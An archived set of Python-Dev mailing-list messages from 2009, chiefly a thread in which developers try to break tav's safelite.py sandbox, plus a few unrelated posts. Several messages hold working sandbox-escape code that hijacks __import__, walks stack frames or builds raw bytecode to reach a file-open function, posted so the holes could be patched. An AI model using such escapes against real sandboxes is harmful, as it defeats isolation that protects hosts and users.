Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Daniel emailed in the exploit below and it is pretty devastating. It
takes advantage of the fact that the warnings framework in 2.6+
dynamically imports modules without being explicitly called!!
I've fixed this hole in safelite.py, but would be interested to know
if there are other non-user-initiated dynamically imported modules?
Thanks Daniel for bringing this to our attention!
On Tue, Feb 24, 2009 at 4:46 AM, Daniel (ajax) Diniz wrote:
> Here's my attempt. Uses the builtin warnings module.You might need to
> change 'args[1]' to 'args[2]' depending on your environment.
>
> I really don't like to post these to public MLs, but feel free to do
> so if you think no harm may arise from this one ;)
>
> Daniel
>
>
> from safelite import FileReader
>
> # Let's build a fake module
> warnings = __builtins__.__class__('warnings')
>
> # Fill it with deception
> warnings.default_action = "ignore"
>
> # And provide a supporting thug
> def __import__(*args):
> try:
> print "How nice:\n", args[1].keys()
> global sys
> sys = args[1]['sys']
>
> except Exception, v:
> print "Exception:", v
> return warnings
>
> # Put the bogus module at the doorstep...
> __builtins__.warnings = warnings
>
> # and have the thug replacing the doorman
> __builtins__.__import__ = __import__
>
> # An unsuspecting costumer passes by...
> FileReader('safelite.py').seek(1.1)
>
> # ... and is brutally mugged :)
> print sys
> print dir(sys)
>
--
love, tav
plex:espians/tav | [email protected] | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav wrote: > 1. Remove ``compile`` from the safe builtins > 2. Take out ``tb_frame`` > > Thoughts on which of the two options is better would be very appreciated! Given the context manager hack I just sent you (similar in spirit to Paul's, just using a context manager's __exit__() method to get hold of the traceback instead of hacked bytecode), I think we can safely say that tb_frame has to go. Cheers, Nick. -- Nick Coghlan | [email protected] | Brisbane, Australia --- ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav espians.com> writes: > > I've fixed this hole in safelite.py, but would be interested to know > if there are other non-user-initiated dynamically imported modules? You'd better make __builtins__ read-only, it will plug a whole class of attacks like this. ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Another hole. Not as devious as some, but easy to fix with yet another
type check. And probably you want to get rid of "get_frame" from
safelite.
This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.
In this case, I used the hole to reimplement 'open' in its entirety.
import safelite
class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None
def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available.)
frame = safelite.get_frame(1)
# Look at that nice function right there.
open_file = frame.f_locals["open_file"]
# Get around restricted mode
locals_d = {}
exec """
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
del frame
# Call the function
self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)
# Jump outta here
raise TypeError
def open(filename, mode="r", buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader("whatever", "r", get_access)
except TypeError:
return get_access.f
f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()
print "Message is:", repr(open("busted.txt").read())
Andrew Dalke
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Another hole. Not as devious as some, but easy to fix with yet another
type check.
This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.
In this case, I used the hole to reimplement 'open' in its entirety.
import safelite
class GetAccess(object):
def __init__(self, filename, mode, buffering):
self.filename = filename
self.mode = mode
self.buffering = buffering
self.f = None
def __int__(self):
# Get access to the calling frame.
# (Strange that that function is available, but I
# could do it the old-fashioned way and raise/
# catch and exception)
frame = safelite.get_frame(1)
# Look at that nice function right there.
open_file = frame.f_locals["open_file"]
# Get around restricted mode
locals_d = {}
exec """
def breakout(open_file, filename, mode, buffering):
return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
del frame
# Call the function
self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)
# Jump outta here
raise TypeError
def open(filename, mode="r", buffering=0):
get_access = GetAccess(filename, mode, buffering)
try:
safelite.FileReader("whatever", "r", get_access)
except TypeError:
return get_access.f
f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()
print "Message is:", repr(open("busted.txt").read())
Andrew Dalke
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] Python jail: whitelist vs blacklist
Hi, Today it's clear that tav's jail is broken. Many hackers proved how to break it. Fixing each hole is maybe not the good solution. IMHO the problem is that tav choosed the blacklist approach: hide some "evil" attributes/functions and hope that the other are safe... which is wrong (eg. evil compile(), reload(), isinstance(), str !!!, TypeError, ...). A better approach would be to create a new world (namespace) from an empty namespace and then add our "secure" functions/types using strong validations (using a whitelist instead of a blacklist). Examples: - why compile() was still available? - why __builtins__ is modifiable? - why __class__ is readable? We should built an empty world and then add functions, types, attributes one by one until we can display an hello world ;-) -- This approach was implemented in PyPy using two interpreters. In CPython, we may use proxies on anything to check all operations. jail -- validations --> real world jail <-- proxy objects -- real world tav's jail might be converted to the whitelist approach: - add proxy to __builtins__ - add proxy to globals() - add proxy to dir() - ... well, add proxies to anything going to the jail ;-) and make sure that a proxy can not be modified by itself or read private attributes My approach is maybe naive and imposible to implement :-) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Python jail: whitelist vs blacklist
Victor Stinner wrote: > My approach is maybe naive and imposible to implement :-) It actually goes back to some of the stuff Brett Cannon was working on in his object capabilities branch. However, one of the key building blocks turned out to be an easier to tailor import system, so the project was kind of taken over by Brett's work on importlib. Cheers, Nick. -- Nick Coghlan | [email protected] | Brisbane, Australia --- ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
antoine> You'd better make __builtins__ read-only, it will antoine> plug a whole class of attacks like this. I tried to put this off as long as I could to try and unearth interesting attacks. But unfortunately I couldn't figure out a way to fix the warnings approach used by Daniel without doing this -- so from v7 __builtins__ isn't shared any more. The good thing is that we won't have more of the __builtins__ class of attacks -- the flip side is that we might be closing the door on discovering some really interesting gems... andrew> I can look up the stack frames and get andrew> "open_file", which I can then use for whatever I want. Ehm, thanks for taking the time to implement that Andrew. But the challenge was about doing `from safelite import FileReader`. I specifically stated that form over the openly exploitable `import safelite`... so, sorry =( You have to remember that this isn't the way that this code will actually be used in practise. This is just a challenge to see if the model holds... -- love, tav plex:espians/tav | [email protected] | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Feb, 24 2009 at 12:11PM, Antoine Pitrou wrote: > tav espians.com> writes: >> >> I've fixed this hole in safelite.py, but would be interested to know >> if there are other non-user-initiated dynamically imported modules? > > You'd better make __builtins__ read-only, it will plug a whole class of > attacks > like this. I found very useful adding objects to the builtins namespace, but I'll prefer a standard and controlled way to do so. Something like a built-in function "install", like the following which I use: import __builtin__, types _ValidBuiltinTypes = (types.BuiltinFunctionType, types.ClassType, types.FunctionType, types.GeneratorType, types.TypeType, functools.partial) def install(*Args, **Keys): '''Installs the given parameters in the builtins namespace. From Args will be installed only valid types (classes, functions and types), taking their __name__ attribute. Every keyword-value cuple from Keys will be installed as is.''' _NameSpace = __builtin__.__dict__ for Arg in Args: if isinstance(Arg, _ValidBuiltinTypes): _NameSpace[Arg.__name__] = Arg for Key, Value in Keys.iteritems(): _NameSpace[Key] = Value With a built-in install function a granular control can be implemented by the running Python implementation. Also, having builtins read only by default can be used in future compiler and virtual machine implementations to gain interesting optimizations. Cheers, Cesare ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Hey Nick, > Given the context manager hack I just sent you (similar in spirit to > Paul's, just using a context manager's __exit__() method to get hold of > the traceback instead of hacked bytecode) Thanks for this -- very cool! > I think we can safely say that tb_frame has to go. I've fixed this in v8 -- got a website that I can link to for the blog? And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... -- love, tav plex:espians/tav | [email protected] | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Python jail: whitelist vs blacklist
Hey Victor, > Today it's clear that tav's jail is broken. Forgive me as I'm sleep deprived, but no =) > Many hackers proved how to break it. > Fixing each hole is maybe not the good solution. The aim of this challenge has been to: 1. Validate the functions-based approach 2. Verify if the proposed set of new attribute RESTRICTIONs are enough As such, it has been important to ensure that we have as large an attack surface as possible. And given how trivial it has been to fix the bugs, the functions-based approach seems to be holding up =) And as for the attributes needing to be restricted, we've discovered that we need to restrict the f_* attributes of frameobject along with the initial type.__subclasses__, gi_code and gi_frame. > A better approach would be to create a new world (namespace) from an empty > namespace and then add our "secure" functions/types using strong validations > (using a whitelist instead of a blacklist). Sure -- you are absolutely right about using a whitelist approach. safelite.py is just for the challenge... to demonstrate that the functions-based approach could possibly lead to securing the Python interpreter and to verify that we've restricted the necessary attributes. Once the patch gets accepted, we can start creating a fresh world built up from an object capability base =) > In CPython, we may use proxies on anything to check all operations. > jail -- validations --> real world > jail <-- proxy objects -- real world Ehm, I'd strongly discourage any approaches using proxies. The performance penalties will just be insane. If you really want one though -- check out Zope proxy. It already implements this quite well and you can use it today! =) -- love, tav plex:espians/tav | [email protected] | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
tav
> But the challenge was about doing `from safelite import FileReader`.
Though it doesn't say so on the first post on this thread nor your page at
http://tav.espians.com/a-challenge-to-break-python-security.html
It says "Now find a way to write to the filesystem from your
interpreter". Which is what I did. Who's to say your final
implementation will be more secure ;)
But I see your point. Perhaps update the description for those
misguided souls like me?
> This is just a challenge to see if the model holds
I haven't been watching this discussion closely and I can't find
mention of this - is the goal to support only 2.x or also support
Python 3? Your model seems to assume 2.x only, and there may be 3.x
attacks that aren't considered in the challenge.
For example, in Python 3 I would use the __traceback__ method of the
exception object to reach in and get the open function. That seems
morally equivalent to what I did.
I hacked out the parts of safelite.py which wouldn't work in Python3.
Following is a variation on the theme.
import safelite
try:
safelite.FileReader("/dev/null", "r", "x")
except TypeError as err:
frame = err.__traceback__.tb_next.tb_frame
frame.f_locals["open_file"]("test.txt", "w").write("done.")
> And instead of trying to make tb_frame go away, I'd like to add the
> following to my proposed patch of RESTRICTED attributes:
>
> * f_code
> * f_builtins
> * f_globals
> * f_locals
which of course would make the above no longer work.
Cheers,
Andrew
[email protected]
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 3:05 PM, tav wrote: > And instead of trying to make tb_frame go away, I'd like to add the > following to my proposed patch of RESTRICTED attributes: > > * f_code > * f_builtins > * f_globals > * f_locals > > That seems to do the trick... A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? Andrew Dalke [email protected] ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit : > > And instead of trying to make tb_frame go away, I'd like to add the > > following to my proposed patch of RESTRICTED attributes: > > > > * f_code > > * f_builtins > > * f_globals > > * f_locals > > > > That seems to do the trick... > > A goal is to use this in App Engine, yes? Which uses cgitb to report > errors? Which needs these restricted frame attributes to report the > values of variables when the error occurred? We should be able to restore the original environment. Example: ... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ... -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Hey Andrew & Victor, tav> But the challenge was about doing `from safelite import FileReader`. Andrew> Though it doesn't say so on the first post on this thread Andrew> nor your page at Andrew> http://tav.espians.com/a-challenge-to-break-python-security.html Sorry, perhaps I should have clearly instructed NOT to do `import safelite`. I thought the following text would have been clear enough: Open a fresh Python interpreter and do: >>> from safelite import FileReader But I can see how that might not have been enough. I'll amend the second line to: >>> from safelite import FileReader # AND NOT ``import safelite`` Would that be clearer? Andrew> I haven't been watching this discussion closely Andrew> and I can't find mention of this Sorry, the discussion has been meandering. It started on: * http://code.google.com/p/googleappengine/issues/detail?id=671 Then went onto: * http://codereview.appspot.com/21043/show And finally ended up here on Python-Dev to get approval for the patch. And in the process of getting the approval, the safelite challenge started... Andrew> is the goal to support only 2.x or also support Andrew> Python 3? Your model seems to assume 2.x Andrew> only, and there may be 3.x attacks that aren't Andrew> considered in the challenge. The model is suited for both 2.x and 3.x. The safelite test on the other hand is targeted at 2.x (starting from 2.5). You have a point with regards to there being 3.x attacks being out there. Perhaps we can get a 3.x compatible version of safelite out? tav> And instead of trying to make tb_frame go away, I'd like tav> to add the following to my proposed patch of tav> RESTRICTED attributes [snip] Andrew> which of course would make the above no longer work. The challenge helped identify those attributes. And will hopefully identify any other "leak" attributes which may still be there. Andrew> A goal is to use this in App Engine, yes? Yes. Andrew> Which uses cgitb to report errors? Which needs these Andrew> restricted frame attributes to report the values of Andrew> variables when the error occurred? The frame attributes will still be accessible by cgitb. Python's existing IsRestricted framework in the interpreter will take care of that. It's genius!! Victor> We should be able to restore the original environment. Victor> Example: Victor> jail(evil_func) # called in the jail Victor> # unsafe environment with __subclasses__, f_code, etc. Hmz, Python's IsRestricted already enables this. I think it's time that I wrote some documentation that Martin wanted explaining Python's already existing IsRestricted support. Besides a few lines here and there, there seems to be no comprehensive documentation on this that I can find anywhere. And I think this may be the cause of much confusion? Would that help? -- love, tav plex:espians/tav | [email protected] | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote: Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez écrit : > A goal is to use this in App Engine, yes? Which uses cgitb to report > errors? Which needs these restricted frame attributes to report the > values of variables when the error occurred? We should be able to restore the original environment. Example: ... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ... Of course, you'll have to ensure that anything you do with data from the jail is also jailed... that callbacks run in the jail, etc. (This is one advantage of the RestrictedPython approach -- the jailing of the restricted code isn't dependent on some global state; it's wired right into the restricted code.) ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
I didn't see Tav actually say this but are we all agreed that compile() should be removed from __builtins__? ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Python jail: whitelist vs blacklist
Victor Stinner wrote: > This approach was implemented in PyPy using two interpreters. > > In CPython, we may use proxies on anything to check all operations. > jail -- validations --> real world > jail <-- proxy objects -- real world > > tav's jail might be converted to the whitelist approach: > - add proxy to __builtins__ > - add proxy to globals() > - add proxy to dir() > - ... well, add proxies to anything going to the jail ;-) and make sure that >a proxy can not be modified by itself or read private attributes > > My approach is maybe naive and imposible to implement :-) Something similar to your approach is already implemented in Zope 3's security system. Have a look at http://svn.zope.org/zope.security/trunk/src/zope/security/ Christian ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Mon, Feb 23, 2009 at 11:07 PM, tav wrote:
> guido> I can access the various class and metaclass objects
> guido> easily [snip]
>
> It would've been possible to replace __call__ on the metaclass --
> which, though not a security leak by itself, could've been abused for
> some fun.
>
> I've inlined the __metaclass__ to prevent fun of this kind.
In fact you don't need a metaclass at all. I think you could do
something like this in your Namespace() function:
...compute ns_items as before...
class NamespaceObject(object):
__slots__ = ()
for name, value in ns_items:
setattr(NamespaceObject, name, value)
return NamespaceObject()
> But the really tricky one so far is this hardcore hack that Paul
> Cannon emailed in:
>
from safelite import FileReader
__builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b',
'eval'))(2, 2, 4, 67,
'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
(None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None,
(TypeError,))
try:
> ... FileReader('foo', 2)
> ... except:
> ... pass
> ...
stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')
That is a known loophole that makes anything possible (mostly
segfaults, for sure). App Engine also stops you from doing this.
> He explains it in detail here:
> http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html
>
> It's very cool!
>
> He uses the ``compile`` builtin to get hold of the CodeType and then
> uses that to construct a nifty function with custom bytecode. Turns
> out that with the bytecode one can grab traceback objects off of the
> stack!!
>
> And, from there, it's just a mere attribute access away to get hold of
> traceback.tb_frame!
>
> Paul, wisely, outlines the two possible options to remedy this:
>
> 1. Remove ``compile`` from the safe builtins
> 2. Take out ``tb_frame``
3. Disallow creating code objects from their constructor in restricted
mode. Please add this to your "restricted" patch.
(I still think your challenge would be more realistic if you didn't
share __builtins__ but instead relied on restricted mode more.)
> If compile is not present and given that func_code and gi_code are not
> present -- are there other ways of getting at the CodeType? If there
> aren't then getting rid of compile gives us an easy win.
You can also create code objects by unmarshalling them. This should
also be prevented in restricted mode.
> If getting rid of tb_frame is the approach -- then you were right
> Guido -- there are more variables which need to be restricted! But,
> this just makes the patch into 7 lines of code instead of 6, so I'm
> still happy =)
Restricting tb_frame is probably a good idea on its own; in 3.0 you
won't have to work so hard to get access to a traceback object, since
each exception has one. OTOH traceback.py uses some things from the
frame, but maybe we'll just have to forego that (or provide selected
R/O access to some frame attributes deemed benign).
> The only thing I can't figure out is how to get rid of the attribute
> using ctypes for the safelite challenge as calling
> dictionary_of(TracebackType) in safelite.py presents a very minimal
> {'__doc__': None}
I don't know anything about ctypes or dictionary_of(). Maybe you need
to raise an exception first so that PyType_Ready is called? The source
is in Python/traceback.c.
> Also, the comments in Lib/types.py states:
>
> # In the restricted environment, exc_info returns (None, None,
> # None) Then, tb.tb_frame gives an attribute error
>
> I can't seem to find the place in the Python source where exc_info()
> behaves differently under restricted mode...
I'm guessing this refers to a pseudo-implementation of sys.exc_info()
provided by rexec.py.
> Thoughts on which of the two options is better would be very appreciated!
>
> And thanks for the ongoing hacks guys -- this is turning out great!!
>
> --
> love, tav
>
> plex:espians/tav | [email protected] | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>
--
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke wrote: > On Tue, Feb 24, 2009 at 3:05 PM, tav wrote: >> And instead of trying to make tb_frame go away, I'd like to add the >> following to my proposed patch of RESTRICTED attributes: >> >> * f_code >> * f_builtins >> * f_globals >> * f_locals >> >> That seems to do the trick... > > A goal is to use this in App Engine, yes? Which uses cgitb to report > errors? Which needs these restricted frame attributes to report the > values of variables when the error occurred? The goal is not to run the entire app in the sandbox. The goal (Tav's goal I should say -- I don't have this need myself :-) is for an app to be able to safely run snippets of Python uploaded by users of the app. I think it's fine if those snippets can't format beautiful tracebacks -- the app's own ability to do so is not affected. -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall wrote: > I didn't see Tav actually say this but are we all agreed that compile() > should be removed from __builtins__? I personally disagree -- I think we should instead add restrictions on the creation of new code objects by calling the constructor directly. Calling compile() should be fine. -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Tue, Feb 24, 2009 at 12:27 AM, tav wrote: > Daniel emailed in the exploit below and it is pretty devastating. It > takes advantage of the fact that the warnings framework in 2.6+ > dynamically imports modules without being explicitly called!! > > I've fixed this hole in safelite.py, but would be interested to know > if there are other non-user-initiated dynamically imported modules? > > Thanks Daniel for bringing this to our attention! Grep the source for PyImport. -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Python jail: whitelist vs blacklist
On Tue, Feb 24, 2009 at 6:18 AM, tav wrote: > Ehm, I'd strongly discourage any approaches using proxies. The > performance penalties will just be insane. And yet your FileReader is essentially a proxy?! -- --Guido van Rossum (home page: http://www.python.org/~guido/) ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] Core sprint page for PyCon 2009 now up
If you plan to attend go to http://us.pycon.org/2009/sprints/projects/python-core/ and fill in your name and when you plan to be there (not required, though; just nice). -Brett ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
print '''
tav wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!
Here's one I couldn't develop to a working exploit, but think is promising.
It highlights a real Python bug and an implementation detail.
Targets 2.6 or trunk.
It was how I stumbled upon the _warnings hack :)
Should be copy-n-past'able,
Daniel
'''
# Hi
from safelite import FileReader
# First, it's possible to set a booby-trapped
# Exception due to a Python bug
# This is bait, say hi bait
def bait():
''' Hi! '''
try:
return bait()
except:
return "Ready to go"
# Set the trap
bait()
# Let FileReader trigger it -> RuntimeError in Namespace:
FileReader('safelite.py')
# ^- shoud give:
# Traceback (most recent call last):
# File "", line 1, in
# File "safelite.py", line 242, in FileReader
# self = Namespace()
# File "safelite.py", line 165, in Namespace
# for name, obj in sys.get_frame_locals(frame) \
# .iteritems():
# RuntimeError: maximum recursion depth exceeded
#
# Now, I think this might be a special RuntimeError...
# Let's catch it! Bait, please?
bait()
try:
FileReader('safelite.py')
except Exception, caught:
pass
# Let's brand it
caught.__init__("I'm back, the other side is scary!")
# Now set it free and see if it comes back
bait()
try:
FileReader('safelite.py')
except Exception, caught_again:
pass
# Who's there?
print caught_again # -> He's back!
# So, hm, that's it... not so exciting but might help
# traceback-based exploits. Did I mention little 'caught'
# there can carry arbitrary payloads? Nice boy.
# Another one
#
# Now, that we have a protection against _warnings,
# an obvious bait-less new trap is available
# Got a spare SystemError?
FileReader('safelite.py', 'r', 1.1)
# ^- shoud give:
# Traceback (most recent call last):
# File "", line 1, in
# File "safelite.py", line 201, in FileReader
#fileobj = open_file(filename, mode, buffering)
# SystemError: Objects/moduleobject.c:50: bad argument \
# to internal function
# Nice, but I want a cleaner one. Hey, caught, could you?
print caught.message
# ^- shoud give:
# Traceback (most recent call last):
# File "", line 1, in
# SystemError: Objects/moduleobject.c:50: bad argument \
# to internal function
# This seems to be a regular SystemError. It's not as
# polite as our pet RuntimeError 'caught', which can
# be silenced by intervening Exceptions.
# As I should stop playing with this, here's
# a plea for help: set 'caught' free before you go.
# Here's the target: freedom
class freedom(object):
def __repr__(self):
print list(sorted(globals()['__builtins__'].keys()))
print '\n\n\n'
return str(input('Type for freedom:\n >> ;) > '))
# Initiate caught on it
caught.__init__(freedom())
# Set the bait...
bait()
# Now, type something clever :)
FileReader('safelite.py')
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Reviving restricted mode?
This looks very interesting. What I like about Tav's approach is that it should also be directly applicable to Jython. Much like Jython in general, there's a tight correspondence between typeobject.c/PyType.java and genobject.c/PyGenerator.java. So we plan on trying out a similar, presumably small patch too. What will be very helpful here is identifying a set of tests that verify these claims of restricted execution. - Jim On Mon, Feb 23, 2009 at 4:03 PM, tav wrote: > Hey Martin, > > >> The patch is a mere 6 lines of code and provides the absolute minimum > >> that is needed to secure the Python interpreter! > > > > Unlike Guido, I'm not quite willing to your word for it. > > You are right. Sorry, I was a bit too enthusiastic and overstated the case. > > How about: "it could possibly enable a secured Python interpreter" ? > > > OTOH, the patch looks harmless (with minor corrections). It could > > be considered a bug fix for the current set of restricted attributes > > Yes, and it is in that light that I would like the patch to be accepted. > > -- > love, tav > > plex:espians/tav | [email protected] | +44 (0) 7809 569 369 > http://tav.espians.com | http://twitter.com/tav | skype:tavespian > ___ > Python-Dev mailing list > [email protected] > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/jbaker%40zyasoft.com > -- Jim Baker [email protected] ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] Adding support to curses library
Hello,
I am working on a patch to add to the _cursesmodule.c file of the Python
core libraries. I figured I would take on one of the implemented functions
to try to get my feet wet contributing to the project. At any rate, I have
the following function defined in the 2.7.a version updated from SVN this
morning:
- Snippet ---
// Insert new method color_set Steve Owens 2/24/2009
// The curses library color_set function has the following signature:
// int color_set(short color_pair_number, void* opts);
static PyObject *
PyCurses_color_set(PyObject *self, PyObject *args)
{
short color_pair_number;
void * opts;
int erg;
// These macros ought to be documented in the API docs
// but they aren't yet.
PyCursesInitialised
PyCursesInitialisedColor
// Per ncurses Man Page:
// The routine color_set sets the current color of the given window to
// the foreground/background combination described by the
color_pair_number.
// The parameter opts is reserved for future use, applications must
supply a
// null pointer.
switch(PyTuple_Size(args))
{
case 1:
// Dont make them pass a useless null pointer.
if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
break;
case 2:
// Allow them to pass the opts pointer so that when ncurses is later
updated.
// This method will still work.
if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
NULL;
break;
default:
PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
(color_pair_number[, opts]?)");
return NULL;
}
erg = color_set(color_pair_number, opts); // Debating on forcing null
here.
if (erg == ERR)
return PyCursesCheckERR(erg, "color_set");
else
PyInt_FromLong((long) 1L);
}
-End Snippet ---
I also have the following added in (see last line of the snippet):
- Snippet ---
static PyMethodDef PyCurses_methods[] = {
{"baudrate",(PyCFunction)PyCurses_baudrate, METH_NOARGS},
{"beep",(PyCFunction)PyCurses_beep, METH_NOARGS},
{"can_change_color",(PyCFunction)PyCurses_can_change_color,
METH_NOARGS},
{"cbreak", (PyCFunction)PyCurses_cbreak, METH_VARARGS},
{"color_content", (PyCFunction)PyCurses_Color_Content,
METH_VARARGS},
{"color_pair", (PyCFunction)PyCurses_color_pair, METH_VARARGS},
